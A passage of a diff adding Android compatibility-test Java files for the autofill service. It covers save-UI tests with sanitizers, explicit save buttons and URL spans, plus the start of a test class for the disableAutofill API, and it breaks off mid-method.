+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"),
+                            passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                            inputId, passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "#id#")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                            inputId, passwordId);
+
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenInitialValueAndNoUserInputAndServiceDatasets() throws Throwable {
+        // Prepare activitiy.
+        startActivity();
+        mActivity.syncRunOnUiThread(() -> {
+            // NOTE: input's value must be a subset of the dataset value, otherwise the dataset
+            // picker is filtered out
+            mActivity.mInput.setText("f");
+            mActivity.mPassword.setText("b");
+        });
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "foo")
+                        .setField(ID_PASSWORD, "bar")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    enum SetTextCondition {
+        NORMAL,
+        HAS_SESSION,
+        EMPTY_TEXT,
+        FOCUSED,
+        NOT_IMPORTANT_FOR_AUTOFILL,
+        INVISIBLE
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should trigger autofill and
+     * show Save UI.
+     */
+    @Presubmit
+    @Test
+    public void testShowSaveUiWhenSetTextAutomatically() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NORMAL);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when there is an existing session.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileSessionExists() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.HAS_SESSION);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the text is empty.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileEmptyText() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.EMPTY_TEXT);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is focused.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileFocused() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.FOCUSED);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is not important for autofill.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileNotImportantForAutofill() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NOT_IMPORTANT_FOR_AUTOFILL);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is not visible.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileInvisible() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.INVISIBLE);
+    }
+
+    private void triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition condition)
+            throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        CharSequence inputText = "108";
+
+        switch (condition) {
+            case NORMAL:
+                // Nothing.
+                break;
+            case HAS_SESSION:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setText("100");
+                });
+                sReplier.getNextFillRequest();
+                break;
+            case EMPTY_TEXT:
+                inputText = "";
+                break;
+            case FOCUSED:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.requestFocus();
+                });
+                sReplier.getNextFillRequest();
+                break;
+            case NOT_IMPORTANT_FOR_AUTOFILL:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
+                });
+                break;
+            case INVISIBLE:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setVisibility(View.INVISIBLE);
+                });
+                break;
+            default:
+                throw new IllegalArgumentException("invalid condition: " + condition);
+        }
+
+        // Trigger autofill by setting text.
+        final CharSequence text = inputText;
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText(text);
+        });
+
+        if (condition == SetTextCondition.NORMAL) {
+            sReplier.getNextFillRequest();
+
+            mActivity.syncRunOnUiThread(() -> {
+                mActivity.mInput.setText("100");
+                mActivity.mCommit.performClick();
+            });
+
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        } else {
+            sReplier.assertOnFillRequestNotCalled();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButton() throws Exception {
+        explicitlySaveButtonTest(false, 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButtonWhenAppClearFields() throws Exception {
+        explicitlySaveButtonTest(true, 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButtonOnly() throws Exception {
+        explicitlySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
+    }
+
+    /**
+     * Tests scenario where service explicitly indicates which button is used to save.
+     */
+    private void explicitlySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
+        final boolean testBitmap = false;
+        startActivity();
+        mActivity.setAutoCommit(false);
+        mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveTriggerId(mActivity.mCommit.getAutofillId())
+                .setSaveInfoFlags(flags)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
+
+        // Take a screenshot to make sure button doesn't disappear.
+        final String commitBefore = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
+        assertThat(commitBefore.toUpperCase()).isEqualTo("COMMIT");
+        // Disable unnecessary screenshot tests as takeScreenshot() fails on some device.
+
+        final Bitmap screenshotBefore = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
+                : null;
+
+        // Save it...
+        mActivity.syncRunOnUiThread(() -> mActivity.mCommit.performClick());
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // Make sure save button is showning (it was removed on earlier versions of the feature)
+        final String commitAfter = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
+        assertThat(commitAfter.toUpperCase()).isEqualTo("COMMIT");
+        final Bitmap screenshotAfter = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
+                : null;
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+        if (testBitmap) {
+            Helper.assertBitmapsAreSame("commit-button", screenshotBefore, screenshotAfter);
+        }
+    }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    // Set response with custom description
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
+                    final CustomDescription.Builder customDescription =
+                            newCustomDescriptionBuilder(WelcomeActivity.class);
+                    final RemoteViews update = newTemplate();
+                    if (updateLinkView) {
+                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+                    } else {
+                        update.setCharSequence(R.id.static_text, "setText", "ME!");
+                    }
+                    Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
+                    customDescription.batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update).build());
+
+                    builder.setCustomDescription(customDescription.build());
+                })
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    enum DescriptionType {
+        SUCCINCT,
+        CUSTOM,
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * starts an another activity then it finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
+            throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * starts an another activity then it finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
+            throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * stops but does not finish:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * stops but does not finish:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+    }
+
+    private void saveUiRestoredAfterTappingSpanTest(
+            DescriptionType type, ViewActionActivity.ActivityCustomAction action) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        switch (type) {
+            case SUCCINCT:
+                // Set expectations with custom description.
+                sReplier.addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .setSaveDescription(newDescriptionWithUrlSpan(action.toString()))
+                        .build());
+                break;
+            case CUSTOM:
+                // Set expectations with custom description.
+                sReplier.addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .setSaveInfoVisitor((contexts, builder) -> builder
+                                .setCustomDescription(
+                                        newCustomDescriptionWithUrlSpan(action.toString())))
+                        .build());
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        // Waits for the commit be processed
+        mUiBot.waitForIdle();
+
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Tapping URLSpan.
+        final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
+        // Waits for the save UI hided
+        mUiBot.waitForIdle();
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // .. check activity show up as expected
+        switch (action) {
+            case FAST_FORWARD_ANOTHER_ACTIVITY:
+                // Show up second activity.
+                SecondActivity.assertShowingDefaultMessage(mUiBot);
+                break;
+            case NORMAL_ACTIVITY:
+            case TAP_BACK_WITHOUT_FINISH:
+                // Show up view action handle activity.
+                ViewActionActivity.assertShowingDefaultMessage(mUiBot);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+
+        // ..then go back and save it.
+        mUiBot.pressBack();
+        // Waits for all UI processes to complete
+        mUiBot.waitForIdle();
+
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(newSaveUi, /* yesDoIt= */ true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+        SecondActivity.finishIt();
+        ViewActionActivity.finishIt();
+    }
+
+    private CustomDescription newCustomDescriptionWithUrlSpan(String action) {
+        final RemoteViews presentation = newTemplate();
+        presentation.setTextViewText(R.id.custom_text, newDescriptionWithUrlSpan(action));
+        return new CustomDescription.Builder(presentation).build();
+    }
+
+    private CharSequence newDescriptionWithUrlSpan(String action) {
+        final String url = "autofillcts:" + action;
+        final SpannableString ss = new SpannableString("Here is URLSpan");
+        ss.setSpan(new URLSpan(url),
+                /* start= */ 8,  /* end= */ 15, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+        return ss;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
new file mode 100644
index 0000000..5eb72f4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
@@ -0,0 +1,363 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.Timeouts.ACTIVITY_RESURRECTION;
+import static android.autofillservice.cts.testcore.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillResponse;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
+ */
+public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    private static final String TAG = "DisableAutofillTest";
+
+    /**
+     * Defines what to do after the activity being tested is launched.
+     */
+    enum PostLaunchAction {
+        /**
+         * Used when the service disables autofill in the fill response for this activty. As such:
+         *
+         * <ol>
+         *   <li>There should be a fill request on {@code sReplier}.
+         *   <li>The first UI focus should generate a
+         *   {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
+         *   event.
+         *   <li>Subsequent UI focus should not trigger events.
+         * </ol>
+         */
+        ASSERT_DISABLING,
+
+        /**
+         * Used when the service already disabled autofill prior to launching activty. As such:
+         *
+         * <ol>
+         *   <li>There should be no fill request on {@code sReplier}.
+         *   <li>There should be no callback calls when UI is focused
+         * </ol>
+         */
+        ASSERT_DISABLED,
+
+        /**
+         * Used when autofill is enabled, so it tries to autofill the activity.
+         */
+        ASSERT_ENABLED_AND_AUTOFILL
+    }
+
+    /**
+     * Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
+     */
+    private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNoUnhandledFillRequests();
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(SimpleSaveActivity.ID_INPUT, "id")
+                            .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+
+        }
+
+        final long before = SystemClock.elapsedRealtime();
+        final SimpleSaveActivity activity = startSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+
+                // Make sure other fields are not triggered.
+                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                // Make sure forced requests are ignored as well.
+                activity.getAutofillManager().requestAutofill(activity.mInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+                final SimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("id", "pass");
+                mUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+        } finally {
+            mUiBot.waitForWindowChange(() -> activity.finish());
+        }
+        return SystemClock.elapsedRealtime() - before;
+    }
+
+    /**
+     * Launches and finishes {@link PreSimpleSaveActivity}, returning how long it took.
+     */
+    private long launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNoUnhandledFillRequests();
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+        }
+
+        final long before = SystemClock.elapsedRealtime();
+        final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                activity.getAutofillManager().requestAutofill(activity.mPreInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("yo");
+                mUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+        } finally {
+            activity.finish();
+        }
+        return SystemClock.elapsedRealtime() - before;
+    }
+
+    @After
+    public void clearAutofillOptions() throws Exception {
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
+    }
+
+    @Before
+    public void resetAutofillOptions() throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+    }
+
+    @Presubmit
+    @Test
+    public void testDisableApp() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(
+                new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should be disabled too.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableApp() is enough")
+    public void testDisableAppThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        sleep(passedTime, duration);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Also try it on another activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableApp() is enough")
+    public void testDisableAppThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Try again on other activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Presubmit
+    @Test
+    public void testDisableActivity() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should work.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableActivity() is enough")
+    public void testDisableActivityThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(duration)
